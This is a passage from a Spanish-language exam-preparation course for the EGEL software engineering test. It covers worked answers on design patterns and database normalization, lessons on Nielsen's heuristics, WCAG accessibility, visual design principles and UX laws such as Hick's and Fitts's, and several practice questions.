detecta conflictos únicamente al momento de persistir con cero sobrecarga.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Retener un cerrojo pesimista (`FOR UPDATE`) mientras un usuario tiene una página web abierta es un grave antipatrón que agota las conexiones del RDBMS y congela la base de datos.\n  - *C es incorrecta:* Read Uncommitted no gestiona la concurrencia de escrituras y provocaría datos corruptos o lecturas sucias para todos los clientes.\n  - *D es incorrecta:* Bloquear todo el catálogo es un cuello de botella inaceptable que paraliza la tienda en línea.\n\n---\n\n## 8. Soluciones: Mini-Simulador de Diagnóstico (Lección 2.2.8)\n\n### Reactivo Muestra 1\n- **Enunciado:** Sistema de pagos que debe admitir nuevas fórmulas de comisión según el tipo de cliente sin alterar clases existentes ni usar estructuras `switch-case`.\n- **Respuesta Correcta:** **B) Patrón Strategy y Principio Abierto/Cerrado (OCP).**\n- **Justificación Técnica:** El patrón **Strategy** encapsula cada fórmula de cálculo de comisión en una clase dedicada (`ComisionEstudiante`, `ComisionCorporativo`) bajo una interfaz compartida. Esto permite añadir nuevas fórmulas creando nuevas clases sin modificar el código preexistente, cumpliendo exactamente con el principio **Open/Closed (OCP)**.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Decorator añade comportamiento por capas acumulativas (envoltorios); aquí se trata de algoritmos mutuamente excluyentes e intercambiables.\n  - *C es incorrecta:* Factory Method crea objetos; no encapsula familias de algoritmos intercambiables.\n  - *D es incorrecta:* Singleton limita la instanciación a una sola clase; no resuelve la extensibilidad de fórmulas de cálculo.\n\n### Reactivo Muestra 2\n- **Enunciado:** Tabla `INVENTARIO (id_almacen, sku_producto, nombre_producto, cantidad)` con clave compuesta `(id_almacen, sku_producto)` donde `nombre_producto` depende solo de `sku_producto`.\n- **Respuesta Correcta:** **B) Viola la 2FN por poseer una dependencia funcional parcial; se resuelve separando los productos en una tabla `PRODUCTO (sku_producto, nombre_producto)`.**\n- **Justificación Técnica:** Una tabla viola la 2FN cuando un atributo no clave no depende de la clave primaria completa, sino de un subconjunto de ella. Para subsanarla, se debe aislar el atributo parcialmente dependiente en su propia entidad normalizada con el SKU como llave primaria.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* La atomicidad (1FN) se refiere a listas o campos repetitivos, no a dependencias funcionales entre columnas.\n  - *C es incorrecta:* La dependencia transitiva (3FN) es una relación entre atributos no clave ($X \\to Y \\to Z$ donde ninguno es clave candidata).\n  - *D es incorrecta:* La tabla tiene redundancia de nombres de producto y anomalías de actualización evidentes; no cumple BCNF.\n","title":"2.2.9 Soluciones razonadas y análisis de distractores: Subárea 2.2"}],"contentMd":"","title":"2.2 Diseño de componentes y bases de datos"},{"children":[{"children":[],"contentMd":"# Fundamentos de HCI, Heurísticas de Nielsen y Accesibilidad WCAG\n\nEl diseño de interfaces humano-computadora (HCI / *Human-Computer Interaction*) no es una cuestión estética o de preferencias visuales; es una disciplina de ingeniería centrada en optimizar la eficacia, eficiencia y satisfacción con la que los usuarios logran sus metas en un sistema interactivo. En el examen EGEL de Ingeniería de Software, las preguntas de la Subárea 2.3 evalúan la aplicación sistemática de las heurísticas de usabilidad de Jakob Nielsen, los principios de diseño visual y el cumplimiento normativo de accesibilidad web bajo el estándar internacional WCAG.\n\n---\n\n## 1. Fundamentos de HCI y Usabilidad\n\nLa norma internacional **ISO 9241-11** define la **usabilidad** como:\n\u003e *\"La medida en que un sistema, producto o servicio puede ser utilizado por usuarios específicos para lograr objetivos específicos con eficacia, eficiencia y satisfacción en un contexto de uso especificado.\"*\n\n### Dimensiones Clave de Usabilidad\n\n| Dimensión | Definición Operativa | Métrica Cuantitativa Típica |\n| :--- | :--- | :--- |\n| **Eficacia (Effectiveness)** | Precisión e integridad con la que los usuarios alcanzan sus metas. | Tasa de éxito en la tarea (% de usuarios que completan una compra sin errores fatales). |\n| **Eficiencia (Efficiency)** | Recursos empleados (tiempo, clics, esfuerzo mental) en relación con los resultados alcanzados. | Tiempo medio por tarea (segundos invertidos en transferir dinero), número de clics o pulsaciones. |\n| **Satisfacción (Satisfaction)** | Confort, aceptación y actitud positiva percibida por los usuarios al interactuar con el sistema. | Escalas psicométricas estandarizadas como SUS (*System Usability Scale*) o CSAT (*Customer Satisfaction Score*). |\n| **Capacidad de Aprendizaje (Learnability)** | Facilidad con la que un usuario nuevo comprende la interfaz en su primer contacto. | Tiempo requerido para completar una tarea por primera vez vs en ejecuciones posteriores. |\n| **Tolerancia a Errores (Error Tolerance)** | Capacidad del sistema para prevenir errores y ayudar al usuario a recuperarse de ellos cuando ocurren. | Frecuencia de errores por tarea y tasa de recuperación exitosa sin reiniciar el flujo. |\n\n---\n\n## 2. Las 10 Heurísticas de Usabilidad de Jakob Nielsen\n\nLas heurísticas de Nielsen son reglas prácticas universales de evaluación y diseño de interacción reconocidas mundialmente. En el EGEL, es común que se describa un problema de interfaz y se solicite identificar la heurística violada:\n\n| # | Heurística de Nielsen | Principio de Diseño | Ejemplo de Violación | Solución de Ingeniería |\n| :---: | :--- | :--- | :--- | :--- |\n| **1** | **Visibilidad del estado del sistema** | El sistema siempre debe mantener informados a los usuarios de lo que está ocurriendo, mediante retroalimentación adecuada en un tiempo razonable. | Al subir un archivo de 500 MB, la pantalla queda congelada en blanco durante 40 segundos sin ninguna indicación. | Mostrar una barra de progreso porcentual dinámica con estimación de tiempo restante y estado activo de carga. |\n| **2** | **Correspondencia entre el sistema y el mundo real** | El sistema debe hablar el lenguaje de los usuarios, con palabras, frases y conceptos familiares, en lugar de términos internos del sistema o jerga de base de datos. | Un mensaje muestra: *\"Excepción en runtime: Error SQL ORA-00942 tabla no encontrada\"* al consultar un producto inexistente. | Mensaje claro en lenguaje de negocio: *\"El producto que buscas ya no está disponible en nuestro catálogo\"*. |\n| **3** | **Control y libertad del usuario** | Los usuarios eligen funciones por error y necesitan una \"salida de emergencia\" claramente señalada para abandonar el estado no deseado sin pasar por un proceso complejo. | Un usuario elimina accidentalmente un registro de cliente y no existe botón de *\"Deshacer\"* ni confirmación previa. | Proveer botón visible de *\"Deshacer\"* (Undo) inmediato mediante una notificación flotante (*Snackbar*) o confirmación previa. |\n| **4** | **Consistencia y estándares** | Los usuarios no deben preguntarse si diferentes palabras, situaciones o acciones significan lo mismo. Sigue las convenciones de la plataforma. | En una pantalla el botón de guardar es verde con texto *\"Guardar\"*; en la siguiente es un ícono azul de disquete sin texto; en otra es *\"Confirmar\"*. | Usar un sistema de diseño (*Design System*) con botones, colores, ubicaciones y nomenclaturas consistentes en toda la aplicación. |\n| **5** | **Prevención de errores** | Mucho mejor que buenos mensajes de error es un diseño cuidadoso que impida que ocurra el problema en primer lugar. | Permitir al usuario escribir manualmente fechas con texto libre, provocando errores de formato al presionar enviar. | Ofrecer un selector gráfico de fecha (*Date Picker*) y deshabilitar fechas pasadas si la cita médica debe ser futura. |\n| **6** | **Reconocimiento antes que recuerdo** | Minimizar la carga de memoria del usuario haciendo visibles objetos, acciones y opciones. El usuario no debe memorizar información de una pantalla a otra. | Un asistente de compra de 3 pasos no muestra el resumen de los productos seleccionados en el paso de pago, obligando al usuario a memorizar el total. | Presentar un panel lateral fijo con el resumen visual interactivo de los ítems y precios en todo momento. |\n| **7** | **Flexibilidad y eficiencia de uso** | Aceleradores —invisibles para usuarios novatos— pueden agilizar la interacción para usuarios avanzados. Permitir personalizar acciones frecuentes. | Un cajero bancario debe usar el ratón para hacer clic en 8 campos sucesivos, sin atajos de teclado ni tabulación automática. | Habilitar navegación por teclado (`Tab`, `Enter`), atajos (`Ctrl+S`, `F2`) y macros de entrada rápida para operarios expertos. |\n| **8** | **Diseño estético y minimalista** | Las interfaces no deben contener información irrelevante o raramente necesaria. Cada unidad extra de información compite con las unidades relevantes. | Una pantalla de inicio satura al usuario con 25 banners promocionales animados, 4 barras de búsqueda y fuentes de 6 colores diferentes. | Aplicar jerarquía visual, espacio en blanco (respiro visual) y mostrar únicamente la acción primaria clara (*Call to Action*). |\n| **9** | **Ayudar a reconocer, diagnosticar y recuperarse de errores** | Los mensajes de error deben expresarse en lenguaje llano (sin códigos crípticos), indicar con precisión el problema y sugerir constructivamente una solución. | Mensaje de validación: *\"Error 422: Datos inválidos\"*. | Mensaje constructivo: *\"La contraseña debe tener al menos 8 caracteres y contener al menos un número y un símbolo\"*. |\n| **10** | **Ayuda y documentación** | Aunque es mejor que el sistema pueda usarse sin documentación, puede ser necesario proveer ayuda contextual fácil de buscar y enfocada en tareas concretas. | Una plataforma ERP no ofrece explicaciones de cómo configurar impuestos de importación ni enlaces a guías. | Incorporar tooltips contextuales (ícono `?`), búsqueda guiada en la barra superior y tutoriales paso a paso (*onboarding*). |\n\n---\n\n## 3. Principios de Diseño Visual (C.R.A.P.)\n\nRobin Williams sintetizó los cuatro principios fundamentales del diseño visual que estructuran la comunicación clara de interfaces:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        PRINCIPIOS C.R.A.P.                            │\n│                                                                        │\n│   [C] Contraste  ─── Diferencia visual para enfatizar jerarquía       │\n│   [R] Repetición ─── Consistencia visual de patrones, colores y tipos  │\n│   [A] Alineación ─── Todo elemento tiene conexión visual con otro     │\n│   [P] Proximidad ─── Elementos relacionados se agrupan espacialmente   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n1. **Contraste (Contrast):** Si dos elementos no son exactamente iguales, hazlos marcadamente diferentes. Evita contrastes débiles (texto gris claro sobre fondo blanco). El contraste guía el ojo hacia la acción principal (ej. botón primario con color vibrante vs botón secundario transparente/outline).\n2. **Repetición (Repetition):** Repite patrones visuales a lo largo de toda la interfaz: paleta cromática, familias tipográficas, estilos de botones, espaciados y formas de iconos. Refuerza la identidad y hace predecible el aprendizaje.\n3. **Alineación (Alignment):** Nada en la pantalla debe colocarse de forma arbitraria. Cada elemento debe tener una conexión visual deliberada con otro elemento (alineación a la izquierda para textos de lectura, alineación a la derecha para cifras numéricas en tablas contables).\n4. **Proximidad (Proximity):** Elementos relacionados entre sí deben agruparse físicamente en el espacio. El espacio en blanco (*white space*) separa bloques temáticos distintos. La etiqueta de un campo debe estar visualmente más cerca de su campo de texto respectivo que del campo anterior.\n\n---\n\n## 4. Accesibilidad Web: Pautas WCAG (Web Content Accessibility Guidelines)\n\nLa accesibilidad web garantiza que las aplicaciones de software puedan ser percibidas, comprendidas, navegadas e interactuadas por personas con discapacidades (visuales, auditivas, motrices o cognitivas), así como por usuarios de edad avanzada o en situaciones contextuales limitadas (baja iluminación, pantallas pequeñas, una sola mano libre).\n\nEl estándar internacional de referencia es **WCAG** (actualmente versión 2.1 y 2.2), desarrollado por el W3C (*World Wide Web Consortium*).\n\n### Los 4 Principios Fundamentales (Acrónimo P.O.U.R.)\n\n| Principio | Significado | Requerimientos Clave |\n| :--- | :--- | :--- |\n| **P - Perceptible** | La información y los componentes de la interfaz de usuario deben presentarse de manera que los usuarios puedan percibirlos con sus sentidos. | - Texto alternativo (`alt`) para imágenes no decorativas.\u003cbr\u003e- Subtítulos y transcripciones para audios y videos.\u003cbr\u003e- Contraste de color suficiente entre texto y fondo.\u003cbr\u003e- No transmitir información exclusivamente mediante el color (ej. marcar un error solo con color rojo sin ícono ni texto explicativo). |\n| **O - Operable** | Los componentes de la interfaz y la navegación deben ser utilizables por cualquier método de entrada. | - Toda funcionalidad debe ser accesible mediante el **teclado solo** (sin requerir ratón).\u003cbr\u003e- Tiempo suficiente para leer y operar el contenido (evitar sesiones que expiran sin aviso).\u003cbr\u003e- No diseñar contenido que parpadee más de 3 veces por segundo (prevención de convulsiones epilépticas).\u003cbr\u003e- Mecanismos claros para saltar bloques repetitivos (*Skip to main content*). |\n| **U - Comprensible (Understandable)** | La información y el manejo de la interfaz de usuario deben ser comprensibles para el usuario. | - Idioma de la página declarado en el código (`\u003chtml lang=\"es\"\u003e`).\u003cbr\u003e- Navegación consistente y predecible entre páginas.\u003cbr\u003e- Identificación y explicación clara de errores en formularios, con sugerencias de corrección. |\n| **R - Robusto** | El contenido debe ser lo suficientemente robusto para ser interpretado de forma fiable por una amplia variedad de agentes de usuario, incluyendo tecnologías de asistencia (lectores de pantalla como NVDA, JAWS o TalkBack). | - Código HTML semántico válido (`\u003cbutton\u003e`, `\u003cnav\u003e`, `\u003cmain\u003e`, `\u003cinput\u003e`).\u003cbr\u003e- Uso adecuado de atributos ARIA (`aria-label`, `aria-expanded`, `aria-live`) cuando los componentes nativos no basten.\u003cbr\u003e- Nombres accesibles y roles claros en componentes personalizados. |\n\n### Niveles de Conformidad WCAG\n\n1. **Nivel A (Mínimo):** Requerimientos esenciales básicos. Sin estos, el sitio es completamente inaccesible para ciertos grupos (ej. imágenes sin texto alternativo, trampas de teclado donde el foco no puede salir de un modal).\n2. **Nivel AA (Estándar Legal y Profesional):** El nivel universalmente exigido por regulaciones gubernamentales y corporativas internacionales (como la ADA en EE.UU., la Sección 508 o la norma europea EN 301 549).\n   - **Ratio de contraste mínimo de texto:**\n     - Texto normal (\u003c 18pt o \u003c 14pt negrita): **4.5:1** contra el fondo.\n     - Texto grande ( $\\ge$ 18pt o $\\ge$ 14pt negrita): **3:1** contra el fondo.\n     - Elementos de interfaz gráfica y controles activos: **3:1**.\n3. **Nivel AAA (Especializado):** El nivel más estricto (ejemplo: contraste 7:1 para texto normal, interpretación en lengua de señas pregrabada). No se exige a todo un sitio web de propósito general, pero se implementa en plataformas especializadas.\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Rediseño de Portal de Banca Móvil para Inclusión\n- **Situación:** Una aplicación bancaria muestra el saldo en verde cuando es positivo y en rojo cuando hay sobregiro. Los usuarios con deuteranopía (daltonismo rojo-verde) no logran distinguir el estado financiero de su cuenta.\n- **Evaluación técnica:** Viola el principio WCAG de Perceptibilidad (1.4.1 Uso del color: el color no debe usarse como el único medio visual para transmitir información o indicar una acción).\n- **Solución:** Añadir un indicador iconográfico explícito (ej. un signo `+` con ícono de check o un signo `-` con ícono de alerta) y un texto semántico (\"Saldo positivo: $1,200\" o \"Sobregiro: -$300\").\n\n### Escenario B: Modal de Confirmación Atrapador\n- **Situación:** Un usuario navega exclusivamente con teclado (`Tab`). Al abrir un modal de términos y condiciones, presiona `Tab` repetidamente pero el foco salta a los enlaces del fondo de la página que está debajo del modal oscurecido, haciendo imposible presionar el botón \"Aceptar\".\n- **Evaluación técnica:** Viola la heurística de Nielsen #3 (Control del usuario) y el criterio WCAG 2.1.2 (Sin trampa para el foco del teclado).\n- **Solución:** Implementar una trampa de foco accesible (*Focus Trap*): al abrirse el modal, el foco del teclado se traslada inmediatamente al primer elemento interactivo del modal y cicla únicamente dentro de él hasta que el usuario cierre el diálogo con `Esc` o presione un botón.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir Usabilidad con Accesibilidad.**\n\u003e Una interfaz puede ser muy \"fácil de usar\" para un usuario joven sin discapacidades con un mouse de alta precisión (alta usabilidad subjetiva), pero totalmente inaccesible para una persona con discapacidad visual que usa un lector de pantalla porque las imágenes carecen de `alt` y los botones son `\u003cdiv\u003e` sin semántica. La accesibilidad es una condición necesaria de la usabilidad universal.\n\n\u003e **Trampa 2: Usar `\u003cdiv\u003e` con `onClick` en lugar de `\u003cbutton\u003e`.**\n\u003e En preguntas de código o inspección de accesibilidad, un `\u003cdiv\u003e` con un evento de clic no es accesible por teclado de forma nativa (no recibe foco con `Tab` ni se activa con `Enter`/`Space`) y los lectores de pantalla lo anuncian como texto plano, no como botón interactivo. La buena práctica es usar siempre elementos HTML semánticos nativos.\n\n\u003e **Trampa 3: Creer que el nivel WCAG AA exige contraste de 7:1.**\n\u003e El ratio de contraste exigido para texto normal en el nivel **AA** es **4.5:1** (y 3:1 para texto grande). El ratio 7:1 corresponde al nivel **AAA**. Memorizar estos números exactos es clave en reactivos normativos.\n\n\u003e **Trampa 4: Confundir \"Visibilidad del estado del sistema\" con \"Correspondencia con el mundo real\".**\n\u003e Si el sistema no avisa que está cargando un proceso pesado, es falla de *Visibilidad del estado del sistema* (Heurística 1). Si el sistema muestra un mensaje de error con nombres de tablas internas de SQL o punteros de memoria, es falla de *Correspondencia con el mundo real* (Heurística 2) o de *Mensajes de error constructivos* (Heurística 9).\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nAl realizar una prueba de usabilidad en una plataforma de gestión escolar, se observa que los profesores cometen errores frecuentes al ingresar calificaciones finales debido a que el sistema utiliza un campo de texto libre donde escriben indistintamente \"10\", \"10.0\", \"Diez\" o \"Aprobado\", generando excepciones al consolidar las actas. El equipo de diseño propone reemplazar el campo de texto libre por un menú desplegable con valores válidos numéricos y una validación en tiempo real que previene el envío de valores no permitidos. ¿Qué heurística de Nielsen se está atendiendo directamente con esta mejora?\n- A) Correspondencia entre el sistema y el mundo real.\n- B) Flexibilidad y eficiencia de uso.\n- C) Prevención de errores.\n- D) Reconocimiento antes que recuerdo.\n\n### Pregunta 2\nDurante una auditoría de accesibilidad conforme al estándar WCAG 2.1 en un sitio web institucional, se identifica que el texto del cuerpo principal (tamaño 14px regular) tiene un color gris (#767676) sobre fondo blanco (#FFFFFF), arrojando una relación de contraste de color de 4.54:1. Asimismo, los botones de acción principal utilizan texto de 16px con un contraste de 4.8:1. ¿Qué nivel de conformidad de contraste cumple este diseño?\n- A) No cumple siquiera con el Nivel A, requiriendo un rediseño urgente de la paleta.\n- B) Cumple con el criterio de contraste del Nivel AA para texto normal, pero no alcanza el Nivel AAA.\n- C) Cumple con el Nivel AAA para todo el contenido textual del sitio.\n- D) Los estándares WCAG no evalúan el contraste de color entre texto y fondo.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.3.7 de esta subárea).*\n","title":"2.3.1 Fundamentos de HCI, heurísticas de usabilidad de Nielsen y accesibilidad WCAG"},{"children":[],"contentMd":"# Jerarquía Visual, Navegación, Leyes de UX y Retroalimentación de Interfaz\n\nEl éxito de una interfaz de software radica en su capacidad para guiar la atención cognitiva del usuario hacia la información crítica y facilitar la toma de decisiones sin fricción ni dudas. En el examen EGEL de Ingeniería de Software, los reactivos de diseño de interacción evalúan la comprensión formal de las leyes psicológicas del diseño (Fitts, Hick, Miller), los patrones de escaneo visual, la arquitectura de navegación coherente y los mecanismos de retroalimentación inmediata del sistema.\n\n---\n\n## 1. Patrones de Escaneo Visual y Jerarquía de Información\n\nLos usuarios no leen las pantallas de software como si fueran una novela continua; **escanean rápidamente** buscando elementos visuales ancla (títulos, botones destacados, palabras clave en negrita, íconos). La investigación con seguimiento ocular (*eye-tracking*) describe dos patrones predominantes:\n\n```\n    PATRÓN EN F (Contenido denso)             PATRÓN EN Z (Landing / Escaneo rápido)\n  ┌───────────────────────────────┐        ┌───────────────────────────────┐\n  │█████████████████████████████  │        │█████████████████████████████▶ │\n  │██████                         │        │                         ◢     │\n  │███████████████                │        │                   ◢           │\n  │████                           │        │             ◢                 │\n  │██                             │        │       ◢                       │\n  │█                              │        │ ◢                             │\n  │█                              │        │█████████████████████████████  │\n  └───────────────────────────────┘        └───────────────────────────────┘\n```\n\n1. **Patrón en F (F-Pattern):**\n   - *Aplicación:* Interfaces con alta densidad de texto y datos estructurados (artículos técnicos, feeds de noticias, resultados de búsqueda de motores, paneles de configuración).\n   - *Comportamiento:* El usuario lee la parte superior de izquierda a derecha en una línea horizontal larga, baja verticalmente por el margen izquierdo, lee una segunda línea horizontal más corta, y finalmente realiza un escaneo vertical rápido por el borde izquierdo.\n   - *Implicación de diseño:* Colocar las palabras clave e información esencial en los primeros dos párrafos y al inicio (a la izquierda) de cada encabezado y elemento de lista.\n2. **Patrón en Z (Z-Pattern):**\n   - *Aplicación:* Interfaces de baja densidad de texto orientadas a la conversión (páginas de inicio, landing pages, pantallas de registro o bienvenida).\n   - *Comportamiento:* El ojo se desplaza desde la esquina superior izquierda (logo), viaja a la superior derecha (navegación/login), cruza en diagonal hacia la inferior izquierda y finaliza en la esquina inferior derecha.\n   - *Implicación de diseño:* Colocar el llamado a la acción primario (*Call to Action* / CTA, como \"Registrarse\" o \"Comprar\") en el punto terminal del recorrido (esquina inferior derecha de la visualización principal).\n\n---\n\n## 2. Leyes de la Psicología Aplicadas a UX\n\nEl diseño centrado en el usuario se apoya en modelos matemáticos y psicológicos empíricamente comprobados:\n\n| Ley de UX | Formulación Teórica / Matemática | Principio Operativo | Aplicación Práctica en Interfaces |\n| :--- | :--- | :--- | :--- |\n| **Ley de Hick (Hick-Hyman)** | $$T = b \\cdot \\log_2(n + 1)$$ | El tiempo que tarda una persona en tomar una decisión aumenta logarítmicamente con el número de opciones disponibles ($n$). | - Evitar menús desplegables con 50 opciones planas sin categorizar.\u003cbr\u003e- Dividir procesos complejos en asistentes paso a paso (*wizards*).\u003cbr\u003e- Destacar una única acción primaria sobre múltiples secundarias. |\n| **Ley de Fitts** | $$T = a + b \\log_2\\left(\\frac{2D}{W}\\right)$$ | El tiempo requerido para alcanzar un objetivo físico/virtual depende de la distancia hacia el objetivo ($D$) y del ancho o tamaño del objetivo ($W$). | - Botones de acción clave deben ser grandes y fáciles de pulsar con el pulgar en móviles (mínimo $48 \\times 48$ dp según Material Design).\u003cbr\u003e- Elementos anclados a las esquinas o bordes de pantalla tienen tamaño infinito en un ratón de escritorio (fáciles de cliquear). |\n| **Ley de Miller** | $$7 \\pm 2 \\text{ elementos}$$ | La capacidad de memoria de trabajo a corto plazo de un ser humano promedio es de $7 \\pm 2$ fragmentos (*chunks*) de información. | - Agrupar números telefónicos en bloques legibles: `55-1234-5678` en lugar de `5512345678`.\u003cbr\u003e- Limitar los ítems principales de una barra de navegación a no más de 5 a 7 categorías. |\n| **Ley de Jakob** | Ley de la expectativa | Los usuarios pasan la mayor parte de su tiempo en otros sitios web y aplicaciones; prefieren que tu sitio funcione igual a los que ya conocen. | - Colocar el carrito de compras en la esquina superior derecha.\u003cbr\u003e- Usar íconos estándar (la lupa para buscar, la casa para inicio, el engranaje para configuración). |\n| **Efecto de Posición Serial** | Primacía y Recencia | Los usuarios tienden a recordar con mayor precisión el primer elemento (primacía) y el último elemento (recencia) de una lista o menú. | - Ubicar los elementos más críticos en el primer y último lugar de una barra de navegación o lista de precios. |\n\n---\n\n## 3. Affordances y Signifiers (El Modelo de Don Norman)\n\nEn su obra seminal *The Design of Everyday Things*, Donald Norman clarificó la diferencia crítica entre ambos conceptos, fuente común de confusión en exámenes:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        AFFORDANCE VS SIGNIFIER                        │\n│                                                                        │\n│   Affordance: \"¿Qué acciones son físicamente posibles?\"                │\n│   (Propiedad relacional entre el usuario y el objeto).                │\n│   Ejemplo digital: Una pantalla táctil PERMITE tocar cualquier píxel. │\n│                                                                        │\n│   Signifier: \"¿Hacia DÓNDE y CÓMO debe realizarse la acción?\"          │\n│   (Señal perceptible visual/auditiva).                                 │\n│   Ejemplo digital: La sombra, relieve o borde de un botón azul que     │\n│   le comunica al ojo: \"Presióname aquí\".                              │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Affordance (Asequibilidad):** La capacidad inherente de un objeto para interactuar con un actor. Una pantalla de smartphone tiene la affordance de ser tocada en cualquier coordenada. Un ratón tiene la affordance de hacer clic.\n- **Signifier (Significante):** La señal sensorial perceptible que comunica explícitamente al usuario qué hacer y dónde interactuar.\n  - *Buen signifier:* Un botón con gradiente, sombra sutil (*elevation*) y texto centrado en negrita que comunica claramente su condición de interactivo.\n  - *Falso signifier (Antipatrón):* Texto subrayado de color azul que parece un hipervínculo, pero no reacciona al clic.\n  - *Signifier ausente:* Un enlace interactivo plano que tiene el mismo color y peso tipográfico que el texto del párrafo, ocultando su capacidad de clic.\n\n---\n\n## 4. Arquitectura de Navegación y Estructuras de Flujo\n\nLa navegación permite a los usuarios responder en todo momento a tres preguntas cardinales: *¿Dónde estoy?*, *¿Dónde he estado?* y *¿A dónde puedo ir?*\n\n| Estructura de Navegación | Características y Cuándo Usarla | Ejemplo de Aplicación | Buenas Prácticas |\n| :--- | :--- | :--- | :--- |\n| **Miga de Pan (Breadcrumbs)** | Indicador jerárquico lineal que muestra la ubicación de la página dentro del árbol del sitio. | `Inicio \u003e Ropa \u003e Hombres \u003e Camisas \u003e Modelo Oxford` | - Usar para sitios profundos ($\\ge 3$ niveles).\u003cbr\u003e- El último ítem representa la página actual y **no** debe ser un enlace activo. |\n| **Pestañas (Tabs)** | Navegación horizontal en un mismo nivel jerárquico para conmutar entre vistas sin recargar la página. | Configuración de Perfil: `[General] [Seguridad] [Notificaciones]` | - Estados activos marcadamente diferenciados (color, subrayado grueso).\u003cbr\u003e- No usar más de 5 a 6 pestañas en móviles. |\n| **Menú Lateral / Drawer** | Menú vertical retráctil o permanente que agrupa las secciones principales de una plataforma compleja. | Consolas de administración en la nube (AWS, Azure) o ERPs empresariales. | - Iconografía acompañada de etiquetas textuales legibles.\u003cbr\u003e- Posibilidad de colapsar a solo íconos para maximizar el área de trabajo. |\n| **Navegación Inferior (Bottom Nav Bar)** | Barra fija en la parte inferior de pantallas táctiles móviles para las 3 a 5 acciones cardinales. | Instagram, YouTube o aplicaciones bancarias en móviles. | - Respeta la zona natural de alcance del pulgar (Ley de Fitts).\u003cbr\u003e- No ocultar al hacer scroll en páginas primarias. |\n\n---\n\n## 5. Tiempos de Respuesta y Visibilidad del Estado\n\nEl ser humano experimenta la interacción digital bajo umbrales fisiológicos y cognitivos precisos descritos por Robert Miller y Jakob Nielsen:\n\n| Tiempo de Respuesta | Percepción del Usuario | Comportamiento Técnico Requerido |\n| :--- | :--- | :--- |\n| **\u003c 0.1 segundos (100 ms)** | Percepción de **instantaneidad**. El usuario siente que la manipulación es directa. | Cambio de color al presionar un botón (*hover* / *pressed state*), despliegue de un menú local. |\n| **0.1 a 1.0 segundo** | Se percibe un **retraso mínimo**, pero el hilo de pensamiento del usuario no se interrumpe. | Transiciones de pantalla suaves, filtrado rápido de tablas en memoria. |\n| **1.0 a 10.0 segundos** | El usuario percibe una **espera notable** y pierde la sensación de control inmediato. | Mostrar un indicador visual de carga continuo: **Spinner** o **Skeleton Screen** para indicar que el sistema está trabajando activamente. |\n| **\u003e 10 segundos** | La atención se pierde por completo; el usuario asume que el sistema falló o se congeló. | Obligatorio: **Barra de progreso porcentual determinista** (0% a 100%), tiempo restante estimado y posibilidad de cancelar el proceso o continuar en segundo plano. |\n\n### Skeleton Screens vs Spinners Circulares\n- **Spinner circular genérico:** Muestra un círculo girando sobre una pantalla vacía. Genera mayor ansiedad temporal, ya que el usuario no tiene pista de la forma o volumen de la información entrante.\n- **Skeleton Screen (Pantalla esqueleto):** Renderiza la silueta o bloques grises pulsantes que imitan la disposición física final de los datos (tarjetas, títulos, fotos). Disminuye el **tiempo de carga percibido** (*perceived performance*), preparando la atención visual del usuario para el contenido inminente.\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Rediseño de un Formulario de Solicitud de Crédito de 45 Campos\n- **Problema:** Una financiera tiene un formulario de una sola página con 45 campos continuos. La tasa de abandono es del 72% porque los usuarios se sienten abrumados al abrir la pantalla.\n- **Análisis mediante leyes de UX:** Viola la **Ley de Hick** (sobrecarga cognitiva y parálisis por exceso de decisiones simultáneas) y la **Ley de Miller** (incapacidad de procesar bloques masivos desestructurados).\n- **Decisión de diseño:** Implementar un **asistente en pasos (Wizard / Stepper)** dividiendo los 45 campos en 4 fases lógicas cohesionadas: *1. Datos personales*, *2. Información laboral*, *3. Datos financieros*, *4. Confirmación*. Cada paso muestra un indicador de avance porcentual claro. La tasa de abandono se reduce drásticamente.\n\n### Escenario B: Botón Crítico de Checkout en Dispositivos Móviles\n- **Problema:** En una aplicación de e-commerce móvil, el botón \"Pagar Ahora\" está ubicado en la esquina superior izquierda como un enlace de texto de 12px. Los usuarios reportan dificultad para presionarlo y compras canceladas por clics accidentales en el botón \"Cancelar\" adyacente.\n- **Análisis mediante leyes de UX:** Viola la **Ley de Fitts** (el pulgar de la mano derecha alcanza la esquina superior izquierda con máxima dificultad y fatiga motriz, y el ancho $W$ de 12px es minúsculo).\n- **Decisión de diseño:** Reubicar el botón \"Pagar Ahora\" como una barra de acción fija en la parte inferior de la pantalla (*Sticky Bottom Bar*), con una altura mínima de 52dp y ancho completo de pantalla (fácil acceso con el pulgar), y separar el botón de cancelar con suficiente espacio negativo para prevenir toques accidentales.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir la Ley de Hick con la Ley de Fitts.**\n\u003e - La **Ley de Hick** calcula el tiempo de **decisión mental** en función del número de alternativas ($n$).\n\u003e - La **Ley de Fitts** calcula el tiempo de **movimiento motor/físico** hacia un objetivo en función de su distancia ($D$) y tamaño ($W$).\n\n\u003e **Trampa 2: Creer que la última posición de una miga de pan (Breadcrumb) debe ser un enlace navegable.**\n\u003e El último elemento de un breadcrumb representa la página donde el usuario ya se encuentra ubicado; enlazarlo a sí mismo confunde al usuario y no aporta valor funcional. Debe estilizarse como texto plano o estado inactivo.\n\n\u003e **Trampa 3: Usar barras de progreso indeterminadas (spinners) para operaciones de más de 10 segundos.**\n\u003e Si un proceso tarda más de 10 segundos (como una exportación masiva de datos o compilación en la nube), presentar un spinner giratorio infinito provoca que el usuario asuma que el proceso se colgó y recargue la página abortando la operación. Se requiere un porcentaje o feedback de avance por etapas.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nUn analista de experiencia de usuario observa que en una aplicación web de contabilidad los usuarios tardan un tiempo excesivo seleccionando opciones dentro de un menú plano que contiene 64 opciones no clasificadas. Para reducir el tiempo de decisión de los operadores, el diseñador agrupa las 64 opciones en 6 categorías temáticas principales claramente identificables. ¿Qué modelo o ley de interacción humana fundamenta cuantitativamente esta mejora?\n- 